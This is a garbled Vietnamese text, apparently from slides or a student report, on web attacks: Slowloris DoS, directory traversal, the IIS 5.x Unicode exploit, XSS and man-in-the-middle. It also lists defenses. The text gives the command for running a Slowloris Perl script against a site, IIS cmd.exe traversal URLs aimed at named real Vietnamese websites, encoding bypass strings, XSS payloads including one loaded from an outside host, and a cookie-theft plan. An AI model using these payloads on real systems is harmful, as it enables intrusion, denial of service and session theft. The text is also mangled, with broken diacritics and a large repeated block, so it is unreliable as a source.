Do Apache mở socket vagrave nhận data từ client (3-way handshakes đatilde hoagraven tất) cho mọi request đi vagraveo vagrave giới hạn mặt định max_client lagrave 150 Vigrave vậy khi slowloris gửi tới server những http request khocircng hoagraven chỉnh apache phải chờ cho http request nagravey time out mặt định lagrave 300s Nếu slowloris gửi liecircn tục caacutec request nagravey tới webserver thigrave chỉ trong vagravei giacircy apache đatilde đạt max_client từ chống phục vụ caacutec client khaacutec
Với giaacute trị TimeOut của apache thigrave noacute ấn định cho 3 điều chiacutenh
1 Thời gian cần thiết để nhận trọn vẹn một g i ửb ng ằ GET 2 Thời gian giữa caacutec goacutei tin TCP g i b ng ử ằ POST hoặc PUT (coacute chứa data) 3 Thời gian giữa caacutec cuacute TCP ACK trong quaacute trigravenh chuyển tải dữ liệu giữa client (browser) vagrave web server (apache)
Nếu apache khocircng dugraveng giaacute trị TimeOut chung như thế nagravey magrave gaacuten TimeOut cụ thể cho từng loại GET POST HEAD thậm chiacute cụ thể hơn cho từng ấn định như LimitRequestLine LimitRequestFieldSize thigrave TimeOut cho loại nagravey coacute thể được kiểm soaacutet chặt chẽ vagrave hữu lyacute hơn
Cơ chế xử lyacute một request của apache khaacute chặt chẽ noacute coacute đến 7 phase khaacutec nhau (unescapes URL strips parent and elements from the URI initial URI location walk translate_name Hook map_to_storage URI location walk Hook header_parser) Tuy nhiecircn đến phase parse header của một HTTP request thigrave noacute bị chết bởi slowloris vigrave apache hoagraven toagraven khocircng coacute cơ chế nagraveo kiểm tra nội dung của header cho đến khi noacute nhận được đầy đủ (dựa vagraveo CRLF character trecircn HTTP header) Socket do slowloris khởi tạo vẫn giữ nguyecircn ở đoacute vagrave apache vẫn chờ cho đến khi TimeOut
Yecircu c u ầ Dugraveng ph n m m ActivePerlầ ề Coacute file dosapchepl Vagraveo cmd gotilde lệnh
perl tecircn đường dẫn chứa file dosapchepl ndashdns tecircn trang web cần dos
Ruacutet ngắn TimeOut xuống đến mức tối thiểu thigrave slowloris trở necircn vocirc taacutec dụng nh ng s nh ư ẽ ảh ng t i caacutec rerequest khaacutec khocircng ph do ưở ớ ảslowloris gửi tới
Dugraveng iptables chặn những những ip gửi nhiều request liecircn tục ( Phương aacuten nagravey coacute thể dẫn đến việc chặn nhầm caacutec proxy)
Dugraveng haproxy để cho gửi những request hoagraven chỉnh tới apche
Dugraveng mod_antiloris giới hạn số lượng kết nối đồng thời của 1 địa chỉ ip giử những request tới
I Khaacutei niệmII Directory Traversal Attack theo ứng dụng
webIII Directory Traversal Attack theo WebserverIV Lagravem thế nagraveo để kiểm tra lỗ hổng Directory
Traversal V Ngăn chặn Directory Traversal AttackVI Taacutec hại
Kiểm soaacutet việc truy cập nội dung của 1 trang web lagrave rất quan trọng đối với 1 webserver
Directory Traversal Attack Path Traversal hay cograven được biết với một số tecircn khaacutec như ldquodot-dot-slashrdquo ldquodirectory traversalrdquordquodirectory clumbingrdquo vagrave ldquobacktrackingrdquo lagrave higravenh thức tấn cocircng truy cập đến những file vagrave thư mục magrave được lưu becircn ngoagravei thư mục webroot
Maacutey chủ web cung cấp hai cấp độ chiacutenh của cơ chế bảo mật Access Control Lists (ACLs) vagrave Root directory
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Bước 1 Client gửi request tới web server với phương thức Để lấy những thocircng tin cần thiết
Bước 2Attracker đoacuteng vai trograve proxy ở giữa bắt được request vagrave chuyển sang phương thức https vagrave chuyển đến web server
Bước 3 web server sẽ gửi những reponse về cho attracker
Bước 4 Atrracker sẽ chuyển lại những nội dung vừa nhận từ web server tới client nhưng được attracker chỉnh sửa lại giống y như trang gửi về của web server
Luacutec nagravey người dugraveng cứ tưởng migravenh đang kết nối trực tiếp với Web server magrave migravenh đang thao taacutec
Mức độ nguy hiểm cao Caacutech tấn cocircng nagravey chưa thể dograve tigravem ra vagrave cho pheacutep tin tặc đaacutenh cắp mật khẩu hijack vagraveo caacutec phiecircn giao dịch ngacircn hagraveng trực tuyến hay thậm chiacute lagrave đưa ra một bản cập nhật trigravenh duyệt FireFox coacute điacutenh kegravem matilde độc
Khi truy cập website thigrave necircn gotilde theo dạng httpswebsite vagrave nhớ click vagraveo biểu tượng ổ khoacutea khi lướt web xem coacute phải certificate đoacute coacute phải lagrave của web đoacute ko hay lagrave cert giả mạo
Mocirc tả Demo Caacutech phograveng chống
Do Apache mở socket vagrave nhận data từ client (3-way handshakes đatilde hoagraven tất) cho mọi request đi vagraveo vagrave giới hạn mặt định max_client lagrave 150 Vigrave vậy khi slowloris gửi tới server những http request khocircng hoagraven chỉnh apache phải chờ cho http request nagravey time out mặt định lagrave 300s Nếu slowloris gửi liecircn tục caacutec request nagravey tới webserver thigrave chỉ trong vagravei giacircy apache đatilde đạt max_client từ chống phục vụ caacutec client khaacutec
Với giaacute trị TimeOut của apache thigrave noacute ấn định cho 3 điều chiacutenh
1 Thời gian cần thiết để nhận trọn vẹn một g i ửb ng ằ GET 2 Thời gian giữa caacutec goacutei tin TCP g i b ng ử ằ POST hoặc PUT (coacute chứa data) 3 Thời gian giữa caacutec cuacute TCP ACK trong quaacute trigravenh chuyển tải dữ liệu giữa client (browser) vagrave web server (apache)
Nếu apache khocircng dugraveng giaacute trị TimeOut chung như thế nagravey magrave gaacuten TimeOut cụ thể cho từng loại GET POST HEAD thậm chiacute cụ thể hơn cho từng ấn định như LimitRequestLine LimitRequestFieldSize thigrave TimeOut cho loại nagravey coacute thể được kiểm soaacutet chặt chẽ vagrave hữu lyacute hơn
Cơ chế xử lyacute một request của apache khaacute chặt chẽ noacute coacute đến 7 phase khaacutec nhau (unescapes URL strips parent and elements from the URI initial URI location walk translate_name Hook map_to_storage URI location walk Hook header_parser) Tuy nhiecircn đến phase parse header của một HTTP request thigrave noacute bị chết bởi slowloris vigrave apache hoagraven toagraven khocircng coacute cơ chế nagraveo kiểm tra nội dung của header cho đến khi noacute nhận được đầy đủ (dựa vagraveo CRLF character trecircn HTTP header) Socket do slowloris khởi tạo vẫn giữ nguyecircn ở đoacute vagrave apache vẫn chờ cho đến khi TimeOut
Yecircu c u ầ Dugraveng ph n m m ActivePerlầ ề Coacute file dosapchepl Vagraveo cmd gotilde lệnh
perl tecircn đường dẫn chứa file dosapchepl ndashdns tecircn trang web cần dos
Ruacutet ngắn TimeOut xuống đến mức tối thiểu thigrave slowloris trở necircn vocirc taacutec dụng nh ng s nh ư ẽ ảh ng t i caacutec rerequest khaacutec khocircng ph do ưở ớ ảslowloris gửi tới
Dugraveng iptables chặn những những ip gửi nhiều request liecircn tục ( Phương aacuten nagravey coacute thể dẫn đến việc chặn nhầm caacutec proxy)
Dugraveng haproxy để cho gửi những request hoagraven chỉnh tới apche
Dugraveng mod_antiloris giới hạn số lượng kết nối đồng thời của 1 địa chỉ ip giử những request tới
I Khaacutei niệmII Directory Traversal Attack theo ứng dụng
webIII Directory Traversal Attack theo WebserverIV Lagravem thế nagraveo để kiểm tra lỗ hổng Directory
Traversal V Ngăn chặn Directory Traversal AttackVI Taacutec hại
Kiểm soaacutet việc truy cập nội dung của 1 trang web lagrave rất quan trọng đối với 1 webserver
Directory Traversal Attack Path Traversal hay cograven được biết với một số tecircn khaacutec như ldquodot-dot-slashrdquo ldquodirectory traversalrdquordquodirectory clumbingrdquo vagrave ldquobacktrackingrdquo lagrave higravenh thức tấn cocircng truy cập đến những file vagrave thư mục magrave được lưu becircn ngoagravei thư mục webroot
Maacutey chủ web cung cấp hai cấp độ chiacutenh của cơ chế bảo mật Access Control Lists (ACLs) vagrave Root directory
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
